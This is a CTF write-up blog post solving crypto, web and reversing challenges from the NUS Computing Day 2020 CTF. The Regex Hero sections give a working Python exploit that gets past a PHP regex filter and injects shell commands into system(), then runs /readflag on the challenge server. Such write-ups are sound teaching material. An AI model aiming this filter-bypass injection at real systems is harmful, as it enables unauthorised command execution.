Posts NUS Computing Day 2020 CTF by NUS Greyhats
Post
Cancel

NUS Computing Day 2020 CTF by NUS Greyhats

Crypto

Spin the letter around (50 pts)

1
2
Can you find the mystery message?
yetz{pxevhfxmhvhfinmbgzwtr}

To solve this challenge, we just need to apply the rotational cipher of 7 shifts on it. The tool I used was CyberChef, a must-have tool for every CTF.


Private RSA (475 pts)

1
2
3
Textbook RSA says that phi(n) and d are the private keys, and with them you can decrypt any ciphertext. So this challenge should be easy: Decrypt the ciphertext given the private keys!
Note the flag format is cs2107{...}
File: mystery.txt

In the mystery.txt are the values c, d and phi(n).

1
2
3
c = 253620658836956397879167057613987183398001365628074436177131657084056795451578610497629849400530657880521989448942531106938642777213645083688552872994753396162506269349876328450845036839886102837982624217073435264653919432839716828321857385223798323722216586478801098184694254363488903877720323862677455883741311750
d = 165540640635518549873800998358099696804236863014785868270788694179165569621621626061950244644817868021233062714558832767113645369345596564667019043490263582433385031460028134745731829625528535165110873093503628561978647399801661248354311866552204934383399230107542223204379558671255597502277394021457005467909564679
phi(n) = 425059648494758500827957593186813469635953846662167111751375929039086827709540334419226240424071129923122503452017813337634158390001885415158185566409664627684690322852923348122784319620248608048182882437956187655008823198198465452715004069652755525145676075641602530382487060636219769963885647035371462184882402544

To decrypt c, we will need to recover the original n value. If you factorise phi(n), you will get a list of prime numbers. (I used this website) and used Python to extract each individual factor.

1
2
3
>>> list_of_factors
[2, 2, 2, 2, 336700853343689, 2168618486876659, 2372920016563403, 2403046799405089, 2586814523352023, 3622576076504453, 4243869938141279, 4563116379369167, 5554076710006157, 5754080039950003, 6215349115364177, 6280486020663289, 7113969462989429, 7363116243840713, 7982189543923849, 8909447726951003, 9101401300427207, 9251874130484561, 9392042922946403, 9566645979971233]

Since we know that phi(n) is equals to (p - 1) * (q - 1), we will need to divide this list of factors into 2 groups where the product of the first group will form (p - 1) while the product of the second group will form (q - 1). There are actually many different combinations we need to try but there are actually 2 facts that can help us drill down:

1
2
1) The decrypted flag contains "cs2107{".
2) Since "p" and "q" are large prime numbers, they will most likely be odd. Therefore, "(p - 1)" and "(q - 1)" are most likely to be even.

With these facts, I constructed the below script to decrypt c.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import long_to_bytes
from itertools import combinations 
from sys import exit

c = 253620658836956397879167057613987183398001365628074436177131657084056795451578610497629849400530657880521989448942531106938642777213645083688552872994753396162506269349876328450845036839886102837982624217073435264653919432839716828321857385223798323722216586478801098184694254363488903877720323862677455883741311750
d = 165540640635518549873800998358099696804236863014785868270788694179165569621621626061950244644817868021233062714558832767113645369345596564667019043490263582433385031460028134745731829625528535165110873093503628561978647399801661248354311866552204934383399230107542223204379558671255597502277394021457005467909564679
totient_n = 425059648494758500827957593186813469635953846662167111751375929039086827709540334419226240424071129923122503452017813337634158390001885415158185566409664627684690322852923348122784319620248608048182882437956187655008823198198465452715004069652755525145676075641602530382487060636219769963885647035371462184882402544

list_of_factors = [2, 2, 2, 2, 336700853343689, 2168618486876659, 2372920016563403, 2403046799405089, 2586814523352023, 3622576076504453, 4243869938141279, 4563116379369167, 5554076710006157, 5754080039950003, 6215349115364177, 6280486020663289, 7113969462989429, 7363116243840713, 7982189543923849, 8909447726951003, 9101401300427207, 9251874130484561, 9392042922946403, 9566645979971233]

even_factors = list_of_factors[:4]
odd_factors = list_of_factors[4:]
print "=" * 50

for i in range(1, len(odd_factors)/2 + 1):                                                                           
	for left_bag in combinations(odd_factors, i):
		left_bag = left_bag
		right_bag = odd_factors[:]
		for element in left_bag:
			right_bag.remove(element)
		p = 1
		q = 1
		for element in left_bag:
			p *= element
		for element in right_bag:
			q *= element
		for x in range(1, len(even_factors)):
			new_p = p * 2 ** x
			new_q = q * 2 ** (len(even_factors) - x) 
			new_p += 1
			new_q += 1
			assert totient_n == (new_p - 1) * (new_q - 1)
			print "Testing p: {}".format(new_p)
			print "Testing q: {}".format(new_q)
			n = new_p * new_q
			m = pow(c,d,n)
			output = long_to_bytes(m)
			if "cs2107{" in output:
				print "Found flag: {}".format(output)
				exit(0)
			print "=" * 50

The output that I got was:

1
Found flag: cs2107{rOSeS_aRe_reD__Bad_RSA__tHeRe_Is_No_WaR_iN_bA_sInG_sE}

Web

Internal Network (241 pts)

1
2
3
We found out that winc0rp has an internal website hosted on this ip address. However, is it really internal?
I heard the internal website is located at internal.proxy.winc0rp.com
Please find the internal website hosted on http://computing.jackielyc.me:8080/

If you visit the link given, you will see that the flag is not here. If you try accessing http://internal.proxy.winc0rp.com:8080/, you will get an 404 or Page Not Found.

In order to access the internal website, we simply need to alter the Host header in our web request.

1
2
3
$ curl -H "Host: internal.proxy.winc0rp.com" http://computing.jackielyc.me:8080/
Flag is:
flag{B@sic_P3ntesting_Sk111s_R3quir3d!}

This is actually an example of “Name-based virtual hosting”, where web servers are configured to serve different websites depending on the Host header of the request. This allows for multiple websites to run on a single web server. But if there is no DNS record for the internal hostname, then you will have to manually specify the internal hostname in the Host header.


Regex Hero 1 (442 pts)

1
2
3
4
The flag seems to be somewhere...
But I cant find it.
Can you help me?
http://www.websec.pw:9090/

When we visit the link, we are immediately presented with the source code of the index.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
    error_reporting(E_ERROR | E_PARSE);
    $file = $_GET['f'];
    if (!$file) highlight_file(__FILE__);

    if (preg_match('#[^cat -/:-@\[-`\{-~]#', $file)) {
        die("cat only");
    }

    if (strpos($file,'*') !== false) {
        die("you don't need that actually");
    }

    if (isset($file)) {
        system("cat " . $file);
    }
?>

According to the code, we can probably inject something into the system() call via the f parameter. However, we will need to circumvent the preg_match() regex check.

Here are some facts that I made use of:

1
2
3
4
5
6
1. The shell used to execute commands in the `system()` function is `/bin/sh`.
2. `${#}` is equals to `0` and `${##}` is equals to `1`.
3. `$((${##}+${##}))` is equals to 2 and we can repeat `${##}` to create the other digits.
4. We cannot enter characters other than "c", "a" or "t" but we can use `cat` to read the content of other files on the system and save it into a variable by doing act=`cat ?????.???`. In this case, the files that I used were `/etc/motd` and `index.php`.
5. In order to read `/etc/motd` and `index.php`, I used `?` since it is a wildcard for a single character that can replace the characters that I cannot enter. I used `/?tc/??t?` to reference `/etc/motd` and `?????.???` to reference `index.php`, which is located in the current working directory.
6. To retrieve a single character in a string variable, I made use of the `${parameter%word}` and `${parameter#word}` notations, which allows me to pop characters from the front and back of a string. I also used the `?` character since I cannot specify the exact letters to pop.

With these facts, I made the following exploit script to automate these.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import sys

motd = requests.get("http://www.websec.pw:9090/index.php?f=;cat /?tc/??t?").content
index = requests.get("http://www.websec.pw:9090/index.php?f=;cat ?????.???").content
initial = "http://www.websec.pw:9090/index.php?f=;act=`cat ?????.???`;c=`cat /?tc/??t?`;"
cache = {}

def main():
	command = sys.argv[1]
	body = ""
	execution = ""
	counter = 0
	for letter in command:
		if letter.isdigit():
			counter += 1
			num = int(letter)
			if num == 0:
				body += "{}=\"${{%23}}\";".format(counter*"c")
			else:
				body += "{}=\"$(({}))\";".format(counter*"c", "%2b".join(["${%23%23}"]*num))
			execution += "$" + counter * "c"
			continue
        # A little ugly but you will understand it in `Regex Hero 2`.
		if letter == "P":
			idx1 = index.find(letter)	
			idx2 = len(index) - idx1 - 2
			body += "{}=\"${{{}%23{}}}\";".format("actt", "act", idx1 * "?")
			body += "{}=\"${{{}%25{}}}\";".format("acttt", "actt", idx2 * "?")
			execution += "$acttt"
			continue
		idx1 = motd.find(letter)
		if idx1 == -1:
			print("cannot find {}".format(letter))
			return
		idx2 = len(motd) - idx1 - 2
		if letter not in cache:
			counter += 1
			body += "{}=\"${{{}%23{}}}\";".format(counter*"t", "c", idx1 * "?")
			body += "{}=\"${{{}%25{}}}\";".format(counter*"a", counter * "t", idx2 * "?")
			execution += "$" + counter * "a"
			cache[letter] = "$" + counter * "a"
		else:
			execution += cache[letter]

	# Run
	print "Command Output: {}".format(requests.get(initial + body + execution).content)

if __name__ == "__main__":
	main()

Now lets test it out.

1
2
3
$ python exploit.py id
Command Output: 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The flag.txt is at the root directory, but we do not have permissions to read it. We will need to execute readflag which is also in the root directory.

1
2
3
$ python exploit.py /readflag
Command Output: 
FLAG{7h15_15_7HE_Fl49}


Regex Hero 2 (494 pts)

1
2
3
4
The flag seems to be somewhere deeper...
But I cant find it either.
Can you help me?
http://www.websec.pw:9091/

The source code of the index.php was exactly the same, so all I had to do was change all the URLs to the new one. However, readflag is now protected with a password.

1
2
3
$ python exploit.py /readflag
Command Output: 
Wrong Password!

Lets run strings to see if we can find the password.

1
2
3
4
5
6
7
8
$ python exploit.py "strings /readflag"
Command Output:
...
P4S5W0RD
Password requried!
Wrong Password!
/flag.txt
...

It seems the password might be P4S5W0RD? At this point I couldn’t use the character “P” because initially I was only using /etc/motd to get characters, which happens to not include that letter. Hence, I had to modify my payload to store the contents of index.php into a variable and add a special check for the character “P”.

1
2
3
$ python exploit.py "/readflag P4S5W0RD"
Command Output: 
Wrong Password!

Oh shoot it’s not. Hmm we might need to download this binary and analyse it. To do so, we can use the base64 command.

1
2
3
4
5
$ python exploit.py "base64 /readflag"
Command Output:
...
(Too long so I left it out)
...

And on our machine, we can decode it again and save it to a file.

1
$ base64 -d strings_output > readflag

Using gdb, we can set a breakpoint before the strcmp() call and view the stack to get the password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ gdb -q --args ./readflag P4S5W0RD
(gdb) disassemble main
...
   0x000000000000122b <+166>:   callq  0x1070 <strcmp@plt>
...
(gdb) b *(main+166)
Breakpoint 1 at 0x122b
(gdb) r
Starting program: /home/kali/Desktop/readflag PASSWORD

Breakpoint 1, 0x000055555555522b in main ()
(gdb) x/20s $rsp
...
0x7fffffffddf7: "SDP450WR"

It seems that the correct password is SDP450WR!

1
2
3
$ python exploit.py "/readflag SDP450WR"
Command Output: 
FLAG{7HI5_I5_4N07h3r_Fl49}

Sanity

Sanity (50 pts)

1
2
This challenge is to test that you know how to use the submission platform.
The Flag is flag{computing_2020}

Just a sanity check, moving on!


Reverse

Trivial Python (50 pts)

1
2
It's trivial, my dear Watson.
File: trivial.pyc

The file provided contains the compiled bytecode of Python source files. Hence, all we have to do is decompile it. There are a few ways to do it, but if you are lazy like me, then you can simply use an online website to do it for you. There is also a library called uncompyle6 which does the same thing.

Here is the source code that we recovered:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# uncompyle6 version 3.5.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.5 (default, Aug  7 2019, 00:51:29) 
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)]
# Embedded file name: ./trivial.py
# Compiled at: 2020-08-25 23:47:45
import json, sys

def check(flag):
    processed = flag[::-1]
    processed = processed.decode('base64')
    final = json.loads(processed)
    if final['check_code'] != 'WW0209':
        return False
    if final['flag_content']['numbers'] * 2 != 202002091:
        return False
    if final['flag_content']['change'] != 'standardisation'[::2]:
        return False
    if final['flag_content']['settled'] != 'flag{%s_%d_%s}':
        return False
    temp = final['flag_content']
    return temp['settled'] % (temp['change'], temp['numbers'], final['check_code'])


def main():
    if len(sys.argv) != 2:
        print 'No'
        sys.exit()
    result = check(sys.argv[1])
    if result:
        print result
    else:
        print 'No'


if __name__ == '__main__':
    main()

I won’t go down to every detail in this code, but the main focus was that the flag consisted of 3 parts: numbers, change and check_code. We will need to figure out the original values for all 3 of these in order to get the flag.

Firstly, numbers.

1
2
    if final['flag_content']['numbers'] * 2 != 202002091:
        return False

When numbers is multipied by 2, it needs to be equal to 202002091. Hence, to get the original value, we just need to divide 202002091 by 2 but make sure to remember to include the decimal place. In this case, we can do this to get numbers.

1
2
>>> 202002091 / 2.0
101001045.5

Next, change.

1
2
    if final['flag_content']['change'] != 'standardisation'[::2]:
        return False

change needs to be equals to 'standardisation'[::2]. The [::2] is a form of Python’s slice notation and this link will provide a better explanation for you. Essentially what it does is return a string containing every other character in 'standardisation'.

1
2
>>> 'standardisation'[::2]
'sadriain'

Finally, check_code.

1
2
    if final['check_code'] != 'WW0209':
        return False

This is rather straightforward since it is literally just checking if check_code is equals to the string WW0209.

Now if we put them all together, we will get our flag:

1
2
>>> >>> "flag{%s_%d_%s}" % ('sadriain', 101001045.5, 'WW0209') 
'flag{sadriain_101001045_WW0209}'
This post is licensed under CC BY 4.0 by the author.